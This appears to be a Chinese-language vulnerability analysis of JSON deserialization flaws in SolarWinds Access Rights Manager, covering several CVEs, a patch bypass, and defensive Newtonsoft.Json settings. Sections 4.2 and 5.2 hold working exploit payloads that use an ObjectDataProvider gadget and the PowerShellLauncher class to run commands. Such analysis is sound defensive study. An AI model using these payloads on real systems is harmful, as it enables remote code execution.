Solarwinds Access Rights Manager Json反序列化漏洞分析
字数 1407 2025-08-05 08:19:10

SolarWinds Access Rights Manager JSON反序列化漏洞分析教学文档

1. 漏洞概述

SolarWinds Access Rights Manager (ARM) 产品中存在多个JSON反序列化漏洞,攻击者可通过精心构造的恶意JSON数据实现远程代码执行(RCE)。这些漏洞主要源于Newtonsoft.Json库的不安全配置以及缺乏有效的类型检查机制。

2. 漏洞背景

  • 受影响组件:ASP.NET Core 2.0应用程序
  • 序列化库:Newtonsoft.Json
  • 漏洞编号:
    • CVE-2023-35184 (ExecuteAction漏洞点)
    • CVE-2023-35180 (IFormTemplate漏洞点)
    • CVE-2023-35186 (GetParameterFormTemplateWithSelectionState漏洞点)
    • CVE-2024-23478 (JsonSerializationBinder补丁绕过)

3. 漏洞分析

3.1 漏洞点定位

漏洞主要存在于pn.WebApi8Man.Controllers.v1.AnalyzeActionController控制器中:

  1. ExecuteAction方法 (CVE-2023-35184):

    [HttpPost("{actionId}/Execute")]
    public ChangeResult ExecuteAction(Guid actionId, [FromBody] ExecuteActionParameter data)
    {
        IFormTemplate formTemplate = null;
        if (data.FormDataJson != null)
        {
            formTemplate = this.webApplication.FromJson(data.FormDataJson).ParseExpressions();
        }
        // ...
    }
    
  2. GetParameterFormTemplateWithSelectionState方法 (CVE-2023-35186):

    public SuccessResult GetParameterFormTemplateWithSelectionState(Guid actionId, [FromBody] string selectionState)
    {
        IFormTemplate parameterFormTemplate = this.webApplication.ActionService.GetParameterFormTemplate(
            base.Request.GetUserInfo(), 
            actionId, 
            this.webApplication.FromJson(selectionState));
        // ...
    }
    

3.2 反序列化配置

漏洞根源在于pn.helper.JsonSerializer中的不安全配置:

this.serializationSettings = new JsonSerializerSettings
{
    ReferenceLoopHandling = ReferenceLoopHandling.Ignore,
    TypeNameHandling = TypeNameHandling.Auto,  // 允许类型信息嵌入JSON
    TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Simple,
    NullValueHandling = NullValueHandling.Include,
    DefaultValueHandling = DefaultValueHandling.Include
};

3.3 关键反序列化方法

public static T FromJson<T>(this WebApplication webApplication, string jsonString, bool withTypeNames = false)
{
    jsonString = webApplication.TypeAliasInjectingJsonSerializer.ResolveTypeAliasInJson(jsonString);
    T t = JsonConvert.DeserializeObject<T>(jsonString, new JsonSerializerSettings
    {
        TypeNameHandling = (withTypeNames ? TypeNameHandling.Objects : TypeNameHandling.None),
        MissingMemberHandling = MissingMemberHandling.Ignore
    });
    // ...
}

4. 利用链分析

4.1 关键类结构

  1. DefaultValueFormTemplateBase 抽象类:

    public abstract class DefaultValueFormTemplateBase<TValue> : 
        DefaultLabelledCanBeDisabledFormTemplate,
        IHasValueFormTemplate<TValue>,
        IHasValueFormTemplate,
        IFormTemplate,
        IDescription
    {
        public virtual TValue Value { get; set; }
    }
    
  2. SearchFieldFormTemplate 实现类:

    public class SearchFieldFormTemplate : DefaultValueFormTemplateBase<SimpleObject>
    
  3. SimpleObject 类:

    public class SimpleObject
    {
        public object Value { get; set; }
    }
    

4.2 POC构造

{
    "$type":"SearchFieldFormTemplate",
    "ObjectType":null,
    "Filters":null,
    "Summary":"pn.formTemplates.SimpleObject",
    "Value":{
        "$type":"SimpleObject",
        "DisplayName":null,
        "Description":null,
        "Path":null,
        "Value":{
            "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
            "MethodName":"Start",
            "MethodParameters":{
                "$type":"System.Collections.ArrayList, mscorlib",
                "$values":["cmd", "/c calc"]
            },
            "ObjectInstance":{
                "$type":"System.Diagnostics.Process, System"
            }
        }
    },
    "DefaultValue":null,
    "IsRequired":false,
    "Description":null,
    "CustomError":null,
    "AllowApply":true,
    "Label":null,
    "IsEnabled":true,
    "IsEnabledRule":null,
    "ParsedIsEnabledRule":null,
    "CustomAttributes":null,
    "IsHidden":false,
    "IsVisibleRule":null,
    "ParsedIsVisibleRule":null
}

5. 补丁分析及绕过

5.1 初始补丁

补丁引入了JsonSerializationBinder类进行类型检查:

public sealed class JsonSerializationBinder : ISerializationBinder
{
    public Type BindToType(string assemblyName, string typeName)
    {
        // 白名单检查
        if ((this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef)) 
            && (type.Assembly.GetName().Name.Equals(assemblyName, StringComparison.OrdinalIgnoreCase) 
                || type.Assembly.GetName().FullName.Equals(assemblyName, StringComparison.OrdinalIgnoreCase)))
        {
            return type;
        }
        throw new NotSupportedException("Deserialization of type '" + typeName + "' is not supported.");
    }
}

5.2 补丁绕过技术

方法一:白名单内恶意类利用

发现白名单内可利用的类:

  1. pn.humster.OperatingSystemHelper::CreateTextFile
  2. SolarWinds.ARM.PowerShellTools.PowerShellLauncher::Run

示例POC:

{
    "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
    "MethodName":"Run",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib",
        "$values":["cmd.exe",{
            "$type":"System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib",
            "/c":"calc"
        }]
    },
    "ObjectInstance":{
        "$type":"SolarWinds.ARM.PowerShellTools.PowerShellLauncher, SolarWinds.ARM.PowerShellTools"
    }
}

方法二:WindowsIdentity链利用(CVE-2024-23478)

利用WindowsIdentity类绕过检查:

Console.WriteLine(typeof(WindowsIdentity).IsSecurityCritical);  // false
Console.WriteLine(typeof(WindowsIdentity).IsMarshalByRef);      // false

6. JSON.NET反序列化防御措施

6.1 SerializationBinder防御

JsonSerializerSettings settings = new JsonSerializerSettings();
settings.Binder = new MyBinder();

class MyBinder : SerializationBinder
{
    public override Type BindToType(string assemblyName, string typeName)
    {
        Type typeToDeserialize = Type.GetType($"{typeName}, {assemblyName}");
        if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
        {
            throw new Exception("禁止反序列化危险类型");
        }
        return typeToDeserialize;
    }
}

6.2 ISerializationBinder防御

settings.SerializationBinder = new ISerializationBinderImpl();

public class ISerializationBinderImpl : ISerializationBinder
{
    public Type BindToType(string assemblyName, string typeName)
    {
        // 类型检查逻辑
    }
    
    public void BindToName(Type serializedType, out string assemblyName, out string typeName)
    {
        assemblyName = null;
        typeName = serializedType.Name;
    }
}

6.3 IContractResolver防御

settings.ContractResolver = new SecContractResolver();

public class SecContractResolver : IContractResolver
{
    private static readonly ISet<string> BlackListSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
    {
        "System.Windows.Data.ObjectDataProvider",
    };

    public JsonContract ResolveContract(Type type)
    {
        if (BlackListSet.Contains(type.FullName))
        {
            throw new SecurityException($"类型'{type}'不允许反序列化");
        }
        return new DefaultContractResolver().ResolveContract(type);
    }
}

7. 最佳实践建议

  1. 禁用TypeNameHandling:除非绝对必要,否则应设置为TypeNameHandling.None
  2. 使用严格的白名单:实现自定义ISerializationBinder并维护严格的白名单
  3. 更新到最新版本:使用最新版Newtonsoft.Json库
  4. 替代方案:考虑使用更安全的System.Text.Json替代Newtonsoft.Json
  5. 输入验证:对所有反序列化的输入进行严格验证
  6. 深度防御:结合多种防御措施(白名单+黑名单+类型检查)
SolarWinds Access Rights Manager JSON反序列化漏洞分析教学文档 1. 漏洞概述 SolarWinds Access Rights Manager (ARM) 产品中存在多个JSON反序列化漏洞,攻击者可通过精心构造的恶意JSON数据实现远程代码执行(RCE)。这些漏洞主要源于Newtonsoft.Json库的不安全配置以及缺乏有效的类型检查机制。 2. 漏洞背景 受影响组件:ASP.NET Core 2.0应用程序 序列化库:Newtonsoft.Json 漏洞编号: CVE-2023-35184 (ExecuteAction漏洞点) CVE-2023-35180 (IFormTemplate漏洞点) CVE-2023-35186 (GetParameterFormTemplateWithSelectionState漏洞点) CVE-2024-23478 (JsonSerializationBinder补丁绕过) 3. 漏洞分析 3.1 漏洞点定位 漏洞主要存在于 pn.WebApi8Man.Controllers.v1.AnalyzeActionController 控制器中: ExecuteAction方法 (CVE-2023-35184): GetParameterFormTemplateWithSelectionState方法 (CVE-2023-35186): 3.2 反序列化配置 漏洞根源在于 pn.helper.JsonSerializer 中的不安全配置: 3.3 关键反序列化方法 4. 利用链分析 4.1 关键类结构 DefaultValueFormTemplateBase 抽象类: SearchFieldFormTemplate 实现类: SimpleObject 类: 4.2 POC构造 5. 补丁分析及绕过 5.1 初始补丁 补丁引入了 JsonSerializationBinder 类进行类型检查: 5.2 补丁绕过技术 方法一:白名单内恶意类利用 发现白名单内可利用的类: pn.humster.OperatingSystemHelper::CreateTextFile SolarWinds.ARM.PowerShellTools.PowerShellLauncher::Run 示例POC: 方法二:WindowsIdentity链利用(CVE-2024-23478) 利用 WindowsIdentity 类绕过检查: 6. JSON.NET反序列化防御措施 6.1 SerializationBinder防御 6.2 ISerializationBinder防御 6.3 IContractResolver防御 7. 最佳实践建议 禁用TypeNameHandling :除非绝对必要,否则应设置为 TypeNameHandling.None 使用严格的白名单 :实现自定义 ISerializationBinder 并维护严格的白名单 更新到最新版本 :使用最新版Newtonsoft.Json库 替代方案 :考虑使用更安全的 System.Text.Json 替代Newtonsoft.Json 输入验证 :对所有反序列化的输入进行严格验证 深度防御 :结合多种防御措施(白名单+黑名单+类型检查)